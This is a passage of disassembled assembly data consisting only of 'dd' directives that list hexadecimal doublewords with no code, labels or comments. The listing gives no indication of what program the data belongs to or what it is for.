		dd 76EC176h, 0AF7FEE42h, 6E5AF846h, 0AC734E8Eh,	278258CEh
		dd 68E3C8F6h, 0CC614B8Dh, 5120EBEh, 48002BCCh, 40065FD0h
		dd 0C67EB557h, 0ACC1CFBCh, 5803A524h, 0FAECA9F2h, 9E2D547Fh
		dd 0C2AD1338h, 50FD803h, 652C2A35h, 0CDCEAE23h,	9DA5E909h
		dd 8BF5E7FDh, 8A447D17h, 6B4E3FF0h, 8C9F10B3h, 0EA9734A4h
		dd 0D92C8B2Fh, 6DD169E7h, 4ADAF761h, 0ADF802Fh,	95C7405h
		dd 7FD04FDAh, 488E1910h, 0A35A756h, 3639457Fh, 0B94F409Dh
		dd 62DAF1B6h, 59CA291Ch, 0F12DD1D6h, 49B7443Eh,	4814BDh
		dd 20E32483h, 7FF7EFD1h, 9395FD7h, 0FDC4BE3Ch, 68135EFAh
		dd 0D2AD5540h, 8F87E9A0h, 0E202F192h, 89267809h, 0F7BD96C1h
		dd 1BD0F20h, 25F609DFh,	3ED207E9h, 68512760h, 11641663h
		dd 0C9DE003Dh, 36082E7Ah, 23C5494Eh, 73CC7901h,	8882F8CBh
		dd 0A7E5EDDh, 46885562h, 1963D08h, 436309CAh, 358ECFB2h
		dd 527187D3h, 3C7D0EB6h, 2711BA19h, 6A733C8Bh, 8B5A0F4Ah
		dd 0EF6001BBh, 0BBDCE839h, 60AA3970h, 0CAC1E909h, 114226CCh
		dd 17BD710h, 4FA4E581h,	15204D30h, 4E150B6Eh, 70B481Ah
		dd 40BDA5D5h, 0C04C19FCh, 3AD52F18h, 0B85FEB80h, 8AEE3235h
		dd 9361D05Dh, 7C57D809h, 0F9555932h, 3CDD7D60h,	651B1E8Bh
		dd 57354289h, 1F400A12h, 134B63A7h, 2C23B0B0h, 25713C0Fh
		dd 7DBA0B5Dh, 8E2C56E5h, 0D9E9093Bh, 83EED5B0h,	1AB6BD22h
		dd 4C66E2EDh, 0C5517B78h, 48993E08h, 0E21702F1h, 0C475620Ch
		dd 65F6F06Ch, 0FE584EB7h, 17CF23E0h, 0FE444D38h, 82BFBD00h
		dd 92AD0E33h, 2F8C9E83h, 0AB813DD6h, 5B67C922h,	0A57AB771h
		dd 0C5817EA7h, 5AA4EC59h, 0EA784CEh, 0CEA2C0E4h, 36264B9Ch
		dd 32010935h, 4E58102Ch, 69C95082h, 88C01E27h, 14B5733Ah
		dd 2C68FA13h, 0CB13206Ch, 0C1F08D04h, 1CEF7EDh,	0DBC426BAh
		dd 9749B221h, 3EFD1EF2h
		dd 3D9E31ACh, 0FFAB9092h, 178B488h, 2D02926Fh, 2B834B77h
		dd 0BAD94C0h, 0E97F5EB0h, 5808401Bh, 0FCDEB790h, 159C53C7h
		dd 734B10E7h, 27688E0Ch, 50F13252h, 0E8DB5443h,	0B7D07D28h
		dd 9DD696BDh, 0B4D34A54h, 5AA5D3C2h, 0D990939h,	7F80C5Bh
		dd 0DCBDA084h, 7A27704Ch, 1E63FE82h, 0CD8D4C4Eh, 420FC64Dh
		dd 92372B10h, 159380FFh, 0BFDE2Dh, 902FDC0h, 0B140B775h
		dd 0F7058147h, 2645549Bh, 887303FFh, 0CBE6E34h,	0F4C27C01h
		dd 0BDCAE9FDh, 0B05B63Dh, 0F1175F58h, 9DC97FC2h, 970E1F62h
		dd 457F45Ch, 0C979D16Fh, 5862C14h, 3239136Ch, 204BDDEFh
		dd 0C06F87F0h, 0D6A76D66h, 5C8F2A64h, 6609E47h,	23801BF5h
		dd 0D35B0B90h, 84D281A9h, 84B6EE4Eh, 4E74BA96h,	1D8DA708h
		dd 49BA9358h, 0BE6559A6h, 0B598F7A7h, 238F7C1h,	37E9409Eh
		dd 62278DACh, 54C49F6Ch, 0A42AD113h, 825D7FA0h,	265D207Dh
		dd 0BCF247FDh, 9962650h, 3974B919h, 47317F4Bh, 5461AFD6h
		dd 439A1746h, 28C380BEh, 4C310620h, 0BD059EF8h,	0BF5BDA88h
		dd 0BC079D05h, 6CA26F90h, 0C951E02Ah, 0A37F95A6h, 0CC58C3FBh
		dd 17FE26A0h, 50785A3Fh, 0AC5A0702h, 7BEDB4DCh,	0E9100192h
		dd 0D16A5E0Bh, 0A366C71h, 0AEE7885Bh, 27244208h, 0FC091845h
		dd 492359DEh, 4F42D8D6h, 18D70884h, 56BB47BDh, 0DC433738h
		dd 65B001C2h, 0DBF76AFDh, 0AD1E1082h, 0CDAED641h, 45484936h
		dd 6A98BF60h, 0F560A37Eh, 6C5EEE4h, 0F00F6062h,	68617345h
		dd 8379DA9Fh, 141C4008h, 0C3415FE9h, 0DC163067h, 0EA2F828h
		dd 3EA6AF92h, 0C83CBFD2h, 0B6520466h, 0D488E9BCh, 604796C3h
		dd 0E9D9DB95h, 0C1BB6D83h, 0FBF26D03h, 432E140h, 772ACD0Ch
		dd 50B92Eh, 8E3D07C6h, 0B5B24AE9h, 7E5E64E9h, 84593D61h
		dd 3EBE8A2Eh, 89CBA5C3h, 1907DD1h, 7328076Dh, 8A0F957Ch
		dd 83448849h, 0E2BAA7F6h, 1943C2ECh, 0BD2CF82Fh, 0E876624h
		dd 29A636ADh, 0ED4110DDh, 23E9F18Bh, 0F6D7B17Dh, 0AFE8123Bh
		dd 408CAB38h, 9EEC5A92h, 90C1361h, 287D5FFDh, 3752582h
		dd 0A1BF4355h, 0AAFD9F7h, 0A602AF74h, 0D677F011h, 0CDAD39E4h
		dd 0FD1E9AF5h, 0A61DDC82h, 0BDBD60Bh, 625EEBB6h, 6409B26Ah
		dd 0BBB27DC1h, 0C30461FDh, 0AA8C173Ah, 4F6A3F68h, 0E221EA94h
		dd 4332B381h, 99D1AB93h, 7FF3E9h, 1CAFBEC8h, 93F43B6Ch
		dd 5A710095h, 0E126FA68h, 9291AD7Eh, 16BF7424h,	727B01FBh
		dd 6076980Ah, 0A5C0B788h, 0EA6042EDh, 0CCF9F717h, 0ABD87F92h
		dd 0AF03774h, 61619F34h, 27F22E5Ah, 0E982C191h,	0C4E84DF4h
		dd 6FE145F6h, 90B5E4FCh, 0EB689A16h, 0BBB93700h, 0E942DFCBh
		dd 2305B5E6h, 0A641AC5Eh, 0DEE913DBh, 4038FAB3h, 0BD63FE54h
		dd 427DED09h, 0B5D1F1FCh, 0BA7D078Ah, 254D7002h, 36271BDCh
		dd 1A35F053h, 53685548h, 0C58840FFh, 9B4FE9h, 71A4BE17h
		dd 55584615h, 3E0B029Eh, 41E5C118h, 60EDC598h, 4B21EE20h
		dd 0A51EACEEh, 1E749D07h, 0D5563212h, 9A4C2279h, 0E27D0905h
		dd 5D03214Ah, 1A038C86h, 3648A9BAh, 0FE80EC02h,	15914222h
		dd 58D2F70Bh, 91ED2934h, 2C15B2h, 0A667FB68h, 0F6515BD8h
		dd 801109Ah, 0CD25AA5Bh, 0D9E7B91Fh, 2EE8AC9Ah,	0FA362D76h
		dd 0A0EBE912h, 0D524E2E3h, 7999A0A8h, 4CCF63E0h, 3D031689h
		dd 0EAF777EFh, 0A7480523h, 0C070480Ch, 6362402Bh, 370664Dh
		dd 0F30702F2h, 0F1EAB112h, 316C26F4h, 0E920E2D1h, 0BB5B2583h
		dd 0B702DFBCh, 0AF226D68h, 65E6007Dh, 0D05A40A3h, 305A0752h
		dd 0C2E95080h, 0B533F2B7h, 7B6877B9h, 0EB5D9DF6h, 4140A45Ah
		dd 84C2128h, 68280BFEh,	6CF82409h, 10D00CA4h, 7E5E891Ch
		dd 0FF4CB7Bh, 388C529Dh, 0AB5FD5EDh, 1C75D19Eh,	9DA884C3h
		dd 0D7E251F2h, 0B701AE74h, 5EF78047h, 9DCBC7CCh, 0ED27360Fh
		dd 0E7F50705h, 55A57C5h, 3DDFCCE8h, 0FBE6B40h, 1EB2542h
		dd 0ECD6CE4Eh, 18DEF0DBh, 57742C7Bh, 0B3831828h, 0D0B479CEh
		dd 0A7FEA364h, 43504EB2h, 844C7EC0h, 5D54C494h,	70E4BCC1h
		dd 0BE14797h, 0A5F1CFC8h, 980A0D8Bh, 1FF1E5C5h,	4A481D22h
		dd 0AA3142C5h, 0D7EB7CCh, 5BB0D7FAh, 0FE5F29B9h, 4B2EDBACh
		dd 0E9860743h, 55D9D969h, 5A74E970h, 344FF3B9h,	0C9A0B1BEh
		dd 1D7900EAh, 861E6844h, 0C5B85143h, 0B658BAC2h, 0C24FC315h
		dd 5E0882EDh, 0B6015F56h, 41685421h, 2ECDA890h,	9E202BCh
		dd 5812717Ch, 0D20D0EFh, 0D73002B7h, 0CBA4E220h, 2DCC1D07h
		dd 76BC0941h, 74608F5h,	0C5895F03h, 65AEDC58h, 0CBDB0102h
		dd 782BCF62h, 8EB28B2h,	7D96A2C0h, 2DE958EAh, 0F520D004h
		dd 8852DC4Eh, 0D78BE0Bh, 0A1E2DFBAh, 4C24D0FFh,	0DE009705h
		dd 31583E19h, 30B759CEh, 81ABB7BFh, 8B1C2F56h, 14686044h
		dd 0B876A0AFh, 0F3B80E4Bh, 4623FEA0h, 0A2355B03h, 102E45Ah
		dd 265C73A4h, 60D5F71Ch, 0D6978EB1h, 0E767CF39h, 6D5D0B0Fh
		dd 0C3D24D3h, 3EA19939h, 21BA734Bh, 8241D7D8h, 0EB80D32Fh
		dd 0E266E3CDh, 0C08A047Dh, 7C880219h, 0AD4908DFh, 97E9D076h
		dd 0E5AD0347h, 5E906C7h, 0EA0429B0h, 551A5D97h,	0EF9084EFh
		dd 34C72BD0h, 0C6C6953h, 0E85FB712h, 822B9041h,	2FD2BA41h
		dd 77813FECh, 6F11E961h, 0ECAA4A84h, 30BFB448h,	9B43E9D6h
		dd 163779B5h, 0F2E4675Ah, 0BC481856h, 0E82C4855h, 98FD7D1h
		dd 0EEF5EAC9h, 0FECC8681h, 1C980C4h, 0DBA2E17Ah, 0ECCB419Bh
		dd 790EBFCCh, 35CC08C8h, 1204FA28h, 20A9C715h, 8BA7F11Ch
		dd 765E1CACh, 25ED6C25h, 62967A56h, 0BD80E1B7h,	9FCBF32Ah
		dd 71D00B92h, 3D4B2CC2h, 0A9C6F88h, 9E7F25A1h, 174BD65Ah
		dd 0FC64A5F8h, 400551E9h, 0D9297527h, 81402C4h,	0DBCB2D3Bh
		dd 12AAA60Bh, 93C2A695h, 5C251705h, 0B305D3B9h,	0BC12EF2Dh
		dd 602F7E2Eh, 41B8F9D1h, 89BD1575h, 0FE395D74h,	2D5F80D8h
		dd 78910BA9h, 95685913h, 5C86B1FDh, 0FC9D4C9Ah,	0B0D35CDEh
		dd 5D11DCFAh, 0D00FE925h, 6B669B98h, 1801CEF7h,	37FC6FE9h
		dd 3A1864F3h, 0C80C0DAEh, 50CB2433h, 9205005Eh,	0AFE94CD1h
		dd 3E308F9Dh, 351301C0h, 0AB096268h, 4FC4C769h,	0DAC0D9ECh
		dd 0C131A03Fh, 16CCE148h, 0AFB4451Eh, 0B62BE32Bh, 17D910C8h
		dd 55B6092Ah, 953A9939h, 0D829EEF6h, 30625763h,	292014E0h
		dd 1FCB05D8h, 492B5561h, 81699BB0h, 47F22A7Eh, 247E0B92h
		dd 920969E6h, 77077Bh, 2F0A16F5h, 9777983Dh, 295EC25Ah
		dd 0AE12ECE2h, 1C32A37Fh, 7025408Eh, 1E5F09CEh,	0FF38D5h
		dd 86E23B31h, 0D0012C93h, 8A1A126Bh, 0C2401202h, 48468BAFh
		dd 0C9BD3484h, 0C421B2EEh, 0FC167326h, 9EC35007h, 8567345Ch
		dd 9CAE2D42h, 1C09BF95h, 0FDEB20E2h, 9D67608h, 0FDB85658h
		dd 9005061Ch, 85D4E942h, 8604B2EDh, 0BA7FA252h,	412ECD41h
		dd 52B0998h, 0E8879B38h, 41B8A4E2h, 2B4AC5DEh, 0D0A70571h
		dd 0DD071A2Dh, 970AD605h, 0EF106927h, 5B75432Dh, 0EDCFCB7h
		dd 0BA12C4F7h, 5C263DCFh, 89D525E7h, 34B87839h,	0BA5670BAh
		dd 9102569Dh, 7BE80B79h, 9197911Fh, 98808120h, 254474EDh
		dd 6A13558h, 9CBF57h, 0BF03AB0Bh, 4FE70CA3h, 0F969C16Ch
		dd 8B413BADh, 58FD08A9h, 1205B26Fh, 0B0B1FCE9h,	647CFA2Bh
		dd 8C855ADBh, 0FC9144C5h, 5657C501h, 0C827DBCh,	7E373470h
		dd 1AB58B80h, 1240DD6h,	3D183AEBh, 0F05BDE53h, 8D8A5FEAh
		dd 72F37AD6h, 1C6F7B1Ah
		dd 79207AFFh, 0B25F9772h, 0F534FD7Bh, 0F18AFD2Ch, 779401E2h
		dd 8853C510h, 0D900F372h, 45A665Bh, 9477E96Ch, 8B68054Eh
		dd 0CACC4453h, 835E0360h, 0CBF005EBh, 2213417h,	7A8EE3F0h
		dd 0DB56E05Dh, 576A829Ch, 0E978377Ch, 5297631Ah, 59B9F988h
		dd 2DF86ED3h, 7D62F3D4h, 87C42B21h, 5B2C78FEh, 3E0AE89Eh
		dd 15BC6F0Eh, 6AAD919Ch, 0A5E0A0D0h, 9D321207h,	50B3559h
		dd 43CB8FFCh, 4B35ED68h, 6F6FF56Dh, 0C4613BA1h,	0F659126Fh
		dd 2CAA9713h, 0B24F3012h, 90003CEFh, 0BFB96E40h, 6D6BDABh
		dd 7E0B0501h, 35D43D07h, 1AA2013Eh, 0CA2BB32Dh,	0E9A93010h
		dd 0D3A5974Bh, 7D53F63Ah, 0C4AAB926h, 4A9CD2AFh, 3197C87Eh
		dd 1BE0121Dh, 74E6F680h, 4C017BCEh, 5D10DBF1h, 27BC4E1Fh
		dd 0FD171B17h, 0D1298AA0h, 81D3C318h, 0D6209C7h, 0E5F457BCh
		dd 83FD5425h, 3E2B7004h, 99220C3Ah, 5F3CA893h, 8281F33Bh
		dd 82656ACAh, 0DD9394B3h, 2AB4C659h, 0E45A40C2h, 0D4942F0Ah
		dd 0C37C8B22h, 0E988B303h, 0E8F9073h, 0E50C31B4h, 79405122h
		dd 23F95C01h, 0CE116000h, 0E6814652h, 0B58D578h, 90F601B6h
		dd 292DB761h, 0F0018752h, 0F397B48Ah, 2E63904Dh, 89C6C951h
		dd 577EAAF0h, 2A55DDB1h, 41CD6198h, 0F25330DBh,	0E21A670Bh
		dd 6FAE8E50h, 31B7659Ah, 989ED2BFh, 5CB7CBECh, 8902421h
		dd 0C42C8A33h, 0A077F62Dh, 6D1409AEh, 198934A9h, 0A500EDF3h
		dd 5D6E7FDAh, 0E9EA1631h, 2D69F127h, 0DEC8E200h, 0C98C822Fh
		dd 2ED0FD68h, 9D517626h, 731409C4h, 0F6D1D10h, 44BDBF7h
		dd 0E2F8D07Dh, 4CD1F93h, 806C9D5Bh, 47BEABEBh, 0CD2DE502h
		dd 0C16FBA45h, 74505D1h, 1E116804h, 62C575AAh, 2D68D32Ah
		dd 8AA46CE0h, 5F0DA105h, 45F95822h, 0B168487h, 13B716DDh
		dd 616C7568h, 3825ECFAh, 12889476h, 0D5EB0680h,	0B01BE1Fh
		dd 67DE58DCh, 26D2A20h,	0E93CE307h, 4CD5A3F4h, 4F9150E3h
		dd 5E8F0FCAh, 106B65D6h, 3A2630D4h, 0BE249671h,	976AE868h
		dd 0D4BD15CEh, 7E9E25Fh, 562D1674h, 0F150658Ch,	8B942EA7h
		dd 4B599B88h, 6C8DBEDDh, 5BCAF97Fh, 0D6FE04BEh,	0B0E4FF5Ah
		dd 9A45E9h, 30FBB46Bh, 580CE178h, 4921BC68h, 5EBCB264h
		dd 1E0E629h, 7ACC70AAh,	492E0FE9h, 4375BB72h, 0D624DA98h
		dd 0ADABC028h, 0B1FAFF90h, 0B4B29895h, 0A6964Dh, 0D4F6CCFEh
		dd 0ACFB252h, 350437D2h, 0A1ADAB1Fh, 176AB2D3h,	2F306BCBh
		dd 2F5653BBh, 1DC4BE1h,	17AD0F4Bh, 57C3B046h, 0F6409D21h
		dd 0BDC543D7h, 5FFFB951h, 59EDB31Dh, 0E9DD6045h, 42E442F8h
		dd 0E2D187A7h, 0BCBAB1B7h, 657C2380h, 0E91335C9h, 0E9CC2B78h
		dd 9EF6A556h, 0CB5DD45Eh, 0BBA6184h, 8864F55Fh,	6BC1295Fh
		dd 5A002A8Eh, 302D0AB5h, 62666ADDh, 2D304596h, 0D627C052h
		dd 0D0EA7644h, 705ADF68h, 0C4AAA125h, 0AB99D583h, 0FB2A5B9Dh
		dd 60E28E32h, 952AE372h, 0A4801366h, 0D801CFEBh, 0E9CA29A2h
		dd 0B26AA347h, 0A4F08F5Ch, 77EB69D5h, 5968B743h, 1896AB74h
		dd 50CB8BFEh, 5180260Bh, 0FE8D0EB5h, 4A4380C5h,	92F9EE08h
		dd 0E4ED3F76h, 0B4855C8Fh, 0E1E5BB6Ah, 0BE3883E1h, 0F577A94Fh
		dd 0DF9344FAh, 9D565C3Bh, 0E0F1D652h, 4B56F887h, 0E1811060h
		dd 3F0E5C6Fh, 0F7E94154h, 524412A1h, 0D3B4CAEEh, 538801F4h
		dd 5B05EB8Bh, 0FE7B3E68h, 2214FC36h, 23B23F82h,	0B5708E20h
		dd 0D6A75D5Bh, 0EFA616BCh, 10F49110h, 522D975Dh, 5A9276F4h
		dd 8203C4BEh, 5707D341h, 34B13765h, 4AD5617Eh, 0C1C25412h
		dd 0D6685265h, 0B01CC5Fh, 1A8A2611h, 1306800h, 81012336h
		dd 0C75AC8CDh, 0A2804D14h, 0B2D1545h, 7C90D5F7h, 8D096F18h
		dd 2A6C32Ah, 0E91CA904h, 2B7EB38Ah, 0D701284Ch,	4E08B8DBh
		dd 0F4148F62h, 3B772768h, 0DC84F3A1h, 0C6C134ACh, 0EE488708h
		dd 81DC2F55h, 0A093663h, 22A09D31h, 0C7B508h, 0DAECB80Bh
		dd 930DB57Ch, 0B1D8850h, 953928BAh, 881CB3E8h, 38C0B82h
		dd 0D90B7E49h, 0C850E4F5h, 504E77BAh, 0CA82D7h,	13326446h
		dd 8F3DE942h, 0E2947CB5h, 0C45DA4D8h, 0D49E909Bh, 0BB20B104h
		dd 240179BFh, 0C48001B1h, 3BE32076h, 0F6F98AE0h, 75A590DBh
		dd 53DD0F6Eh, 0EBA606B3h, 576060Bh, 9C3AF33Ch, 347EC0CBh
		dd 82871804h, 925F5C29h, 0F401F0E2h, 24689940h,	0CEDA7B54h
		dd 6DD1158Bh, 0DFA9E242h, 6125D014h, 81C47378h,	531EC0EEh
		dd 0CB10040Ch, 54583008h, 98863048h, 920E27DBh,	9628315Dh
		dd 75B3A13Fh, 0BDA92084h, 9567BA4Ah, 0A4AA2DF4h, 95B02C75h
		dd 67AA685Ah, 3B3EB258h, 3E042F9h, 0E6F2074h, 0AC512225h
		dd 498305C2h, 7A359C80h, 0DA5FF466h, 58C1CBA0h,	0E501ABEDh
		dd 720A3D32h, 0E267052h, 0C0E93697h, 622F686Bh,	58285AD2h
		dd 810206BBh, 60272AEBh, 3C025D55h, 0DD0942C0h,	61562880h
		dd 0F997AE5Fh, 1FDE2FCBh, 4AA068D8h, 3FF2CD35h,	996EED8Dh
		dd 64153B73h, 76EE2F4Fh, 9875A7C1h, 2DE9F535h, 0DD9A5F03h
		dd 0FB48FD38h, 8141DCB6h, 70C073EDh, 98F5F249h,	64088218h
		dd 5ECA259Bh, 5224E5C6h, 2FBFF0BEh, 9C9E5F02h, 97D6D720h
		dd 8628C474h, 4AC49948h, 4EAD5782h, 0ABE82DB3h,	44407B3Ah
		dd 773E2E67h, 0FDE30361h, 0B066492Dh, 786E3DF3h, 50094C07h
		dd 0E98A4D38h, 0A7C6B99Bh, 84CE9A63h, 1FF965Bh,	9DC791A7h
		dd 545DE207h, 9FD3C2B9h, 2A5F8CA9h, 800C61DFh, 0B5EAEDF6h
		dd 6DA80301h, 0C2993015h, 0DA1308BFh, 0E3BB52E4h, 14474F23h
		dd 0F70B98C8h, 7B5C6CB1h, 77406CB5h, 165F0EEDh,	20AF6FE9h
		dd 0FD1C1095h, 0A2B5204Bh, 5F580802h, 0F076FDB0h, 80C1DF82h
		dd 0D9C77401h, 4B33640Bh, 0FCA10BE9h, 0E1905C79h, 4CFBD620h
		dd 412FF550h, 20FCC464h, 0B5F7045Bh, 0A22A4251h, 7568C2C9h
		dd 309FCC28h, 80109AFEh, 0EEE641C6h, 6859FD0Eh,	0BD3076D8h
		dd 16FED7B7h, 0BCB151C7h, 9C882C84h, 7AF13CBAh,	523BE925h
		dd 3E6F26C2h, 18ADC284h, 5CAFB959h, 0A0659D76h,	0E3160098h
		dd 4F00EA4Bh, 6876CAF2h, 0B0D7ED72h, 2613FE3Ch,	0A5B40AE9h
		dd 0F67DE477h, 0AC9C5A30h, 0E1C6A4ADh, 4173B55Dh, 39EA44BAh
		dd 0E127B680h, 5498A2C4h, 0B4FA37D2h, 7DF313CDh, 0D8FAA4C1h
		dd 112468AFh, 0D1960075h, 0ACCA7AD0h, 2A5A245Ch, 4B430220h
		dd 507599B1h, 58C72D8Ch, 0E951A380h, 9C979B82h,	0A43EFDE1h
		dd 503E5A4Ah, 0E67BF288h, 809A64Bh, 7DCD095Bh, 0D485FA2Fh
		dd 0E64001D9h, 0ED0F2A7Dh, 6AB1751Ah, 0E9BC4CECh, 6994D02Dh
		dd 3C600110h, 12960476h, 0FAFA29B5h, 5205AF2Ch,	0F74ECA6Eh
		dd 10D14918h, 0BA02673Ah, 17AB0572h, 93AF1561h,	92BB5FB2h
		dd 0BD006796h, 737E29ADh, 0B44097B0h, 461FB6C6h, 2C26592Ah
		dd 859708A0h, 13F31FE3h, 7BF5680Ah, 310B6FACh, 0EF5DE5ABh
		dd 236804E9h, 6F66986Bh, 21EE955Fh, 2F393450h, 0D72DDB32h
		dd 0E55F34Ah, 0FD9E6BB1h, 832D1244h, 0DCF20C3h,	0C196DECBh
		dd 68127BD0h, 5CCC8251h, 0DF4A3F6Fh, 80D5EEAh, 0E914001Ch
		dd 7AC05B36h, 0E380548h, 2D170049h, 0D3270B28h,	6C4E16E9h
		dd 16816534h, 7E83E67Dh, 672296B9h, 0EA5EA28Fh,	955EF2DDh
		dd 9BD6EA4Ah, 1CE1090Ch, 9E5B959h, 86907013h, 9F3B22AAh
		dd 5BE2027Eh, 577FB455h, 0DF188AE4h, 0AF49D1Fh,	56699719h
		dd 0A99A7001h, 0A4DB104Bh, 52C7E912h, 7F11FA0h,	2B634E5Fh
		dd 20AF578Dh, 1400DEB7h
		dd 0F2353CC6h, 0FF3A0538h, 0F8FDF02Bh, 0FABC314Fh, 0FB02EDC0h
		dd 0E4C1E942h, 7AE754BFh, 0C82D43Eh, 0E6565D08h, 12403617h
		dd 35481F00h, 169B2A0Bh, 0ABC4682Dh, 573C2CCh, 0E97AD814h
		dd 0E8C1A1B8h, 2624D108h, 0AFBEEA20h, 7F07894Dh, 90B3F94h
		dd 2073E9DBh, 33E1BBB2h, 29571F2Fh, 5B0CCB5Ch, 0EEC0C077h
		dd 46362768h, 0F8B3FD94h, 77960027h, 0EF21A018h, 55B96A81h
		dd 7B011C0Dh, 0A1D7424h, 761882E0h, 12CFC22Ah, 76686600h
		dd 4A08C962h, 0BE93FD8Ah, 24023F66h, 6524D7D8h,	30C812Fh
		dd 0F92140B9h, 0A36E4E7Fh, 90F25E11h, 74581CCBh, 84524996h
		dd 0BE07FDA4h, 4AE51F30h, 9C09AE46h, 5FD12B42h,	749DC21Eh
		dd 632C43E5h, 6699625Bh, 7D108E2Ch, 135D3B03h, 6189A06Eh
		dd 0BD557D40h, 913E2CF3h, 85E5011Fh, 2E51FF3Ah,	0FDF431FEh
		dd 0C939215Fh, 0C53D24DDh, 0EE5B7B04h, 0D1C04D62h, 0B9C770Bh
		dd 9F8AE94Fh, 25C0C455h, 7468948Eh, 80828432h, 3B1DE702h
		dd 4F28307Fh, 0CB69010Eh, 17E92C0Ch, 7B804275h,	90C5E6EDh
		dd 0F9B72CAFh, 5F742DD6h, 5D64AB20h, 0B1BAB859h, 7A86719Fh
		dd 7151B005h, 614A29EAh, 0F8E1C2E5h, 0CED93088h, 0DD8C099Fh
		dd 0A5FA67CCh, 0C3125D96h, 0C48BF2BBh, 52076272h, 0F8DB7457h
		dd 3AC3C9Fh, 0EA8090B2h, 496DE148h, 7717DA37h, 25F6B62Bh
		dd 1600092h, 546368C1h,	9BD103Fh, 6A3510ABh, 3EF53168h
		dd 1ED20812h, 5E4FB6FBh, 3E76F8E0h, 87A51018h, 0FF28C884h
		dd 0F0E21FC7h, 0B2E67F4Ah, 0ED4E3998h, 0A33095A5h, 0F33180A1h
		dd 0C393DEE4h, 3700B320h, 0D66E945h, 0F32D44h, 4F760527h
		dd 972578AEh, 0A3FA0E4h, 0E82C7D40h, 0B308E4E2h, 0FE482F7Ah
		dd 5F2D6E8Dh, 4028565Eh, 0EE189ACFh, 5B1D315Ch,	66CBB3EDh
		dd 68F8185Fh, 0F3464E09h, 734B1748h, 6010CAAFh,	3165F5DCh
		dd 0D12E0661h, 0C6564DE5h, 0AA6A6718h, 0D23515CAh, 4AA2F9F1h
		dd 73A9DABCh, 0C5012F87h, 0FBE98504h, 4F03D077h, 455B3A30h
		dd 0C8C4C0Fh, 95192206h, 0E7BFEC00h, 2D5F7360h,	38415381h
		dd 30924001h, 0F06CAE9h, 0E2D1AB66h, 2CCC41ECh,	13EC5839h
		dd 6E380A9h, 0D0FCB55Bh, 58052F87h, 5E0C173h, 1D1F3780h
		dd 811B0259h, 0F54151E6h, 135C60D7h, 5E2B0E5Ch,	96AF031h
		dd 52D1516Ah, 0C4E03683h, 97F0E9D8h, 7D5EB2B5h,	305741C1h
		dd 30065F07h, 63BF46D7h, 0DF293F0Bh, 871325CDh,	0F498BA2Ch
		dd 36F401BAh, 79E91ABBh, 0D6D02D0Ch, 0BB6220BAh, 0F26E62Ch
		dd 0A1244745h, 0FA815219h, 4B48E8A5h, 0EA9FF229h, 2086441Bh
		dd 68171926h, 0DDA302C6h, 60D9E951h, 0F6F98800h, 0CF4ED174h
		dd 0C9C707C1h, 0CBD73E31h, 0B9F7C087h, 3AEA7004h, 5B262CF8h
		dd 0D83D385Ch, 0EE3EF2F4h, 2FBCB40Bh, 0E9F070FCh, 0B3674A74h
		dd 3F404E32h, 71542722h, 2C450B25h, 0DD0D65F4h,	4A126F66h
		dd 4003CAAAh, 48952FCCh, 827E802Bh, 12833884h, 0B95A00EAh
		dd 53755091h, 0A06EF8BDh, 307940CCh, 0B20C0AAEh, 0D4B8C65Dh
		dd 4143CA48h, 140CA008h, 2A8E92Dh, 5F04BDC0h, 309FA696h
		dd 0FD08EC7Ch, 4E88A660h, 7E2F8C63h, 722545B8h,	5B20FE29h
		dd 10A7EFB0h, 0AC67C12Ch, 0C00C4C1Ch, 4F10C21h,	151CE12h
		dd 0CBD8A2F9h, 9C7DD85Fh, 8844581Ah, 0B22F6182h, 52C04172h
		dd 34E1B050h, 4EBE414Fh, 0E267ECBDh, 9ECA63E8h,	51051273h
		dd 48E939B1h, 0D9F6E591h, 5EE3C1F4h, 0B70BEA30h, 26CC75D7h
		dd 0E8685A7Fh, 0A50B8A1Eh, 9892726Eh, 0B68D0075h, 5BFE304Ch
		dd 0F0588850h, 0E9580657h, 266A7D3h, 0F86D10B8h, 0F140D157h
		dd 8A486C64h, 1DB71072h, 59048048h, 0C179AD3Eh,	0D56F883Fh
		dd 0CAC9F07Ch, 0DE9D402Fh, 0A46F4E90h, 9BE89FDh, 460BA754h
		dd 407D5453h, 0F360EB81h, 0DC9EB150h, 77097B40h, 6FF75DD0h
		dd 5F07BE07h, 6085EBE4h, 881AE46h, 61CAEA70h, 0F0200D34h
		dd 0F2312C63h, 0B9F013C4h, 3DF80571h, 0AA827FBAh, 0A0410F70h
		dd 6E48154Dh, 0FC0251F0h, 331E493Ah, 0A93E83Bh,	6C32BE6Fh
		dd 0C4CEDF0Ch, 2916817h, 0F76ACF89h, 0AEE9C513h, 0E1EF40BEh
		dd 502F7389h, 71848EA0h, 1200E76h, 88CF20CEh, 73E7D4B7h
		dd 0E8914C2Dh, 1203C2E2h, 0AF0F3F22h, 75E6DE01h, 91437CBAh
		dd 8BD2FFCEh, 8D136037h, 0E0300565h, 92A945E9h,	82FDFA4Dh
		dd 48D1A232h, 0C9CDF458h, 0B8507506h, 82DCF63Dh, 70E94BC4h
		dd 0A735F90Ch, 9B906170h, 0EF6DD509h, 0D9A8A39h, 863FAB07h
		dd 0E5E7A02Bh, 6EAA7FF2h, 65620C67h, 0FE00EA0h,	2025405Eh
		dd 0B012F006h, 5D584F22h, 908D357h, 34C53777h, 12349420h
		dd 0E2FBB490h, 9A02CA8Fh, 0D45466E5h, 0FC7A1E88h, 4BAC5E1Eh
		dd 84D05C25h, 0E906E953h, 624B4810h, 0FFF3215Eh, 42FAB940h
		dd 693A2327h, 0D87C4988h, 1130BD02h, 99E16D1Bh,	10AE2A5Dh
		dd 214F0B7Ah, 2373D79Eh, 0A250262Bh, 2CBA0A16h,	55F589Ah
		dd 0BBC4B0EDh, 40388D8Dh, 9B7CBFBAh, 79E3A58h, 2F12ED74h
		dd 0A8232FF9h, 8E5E1D80h, 0FB121DA5h, 14FD4588h, 0C854CA15h
		dd 7701CB05h, 0EF938011h, 910BA4A1h, 73B7BFE9h,	0F466967Eh
		dd 8909319h, 9820D020h,	31D997BDh, 26BC6861h, 8535A876h
		dd 6C5C011Dh, 612B0579h, 0AE2240A5h, 6095B46Ah,	305C893Eh
		dd 9FA0036Fh, 37672543h, 0CDF002BEh, 9D1D3245h,	6A7C080h
		dd 2904ADE8h, 0D08DE9EAh, 82F6A2A8h, 1DBC8859h,	0FA9E5259h
		dd 0F45AD509h, 8909C971h, 9BDD0207h, 148501E8h,	68D51897h
		dd 0F011D348h, 5E1EEC3Eh, 0C31F4B6Ah, 3B86D8CBh, 0A025D15Eh
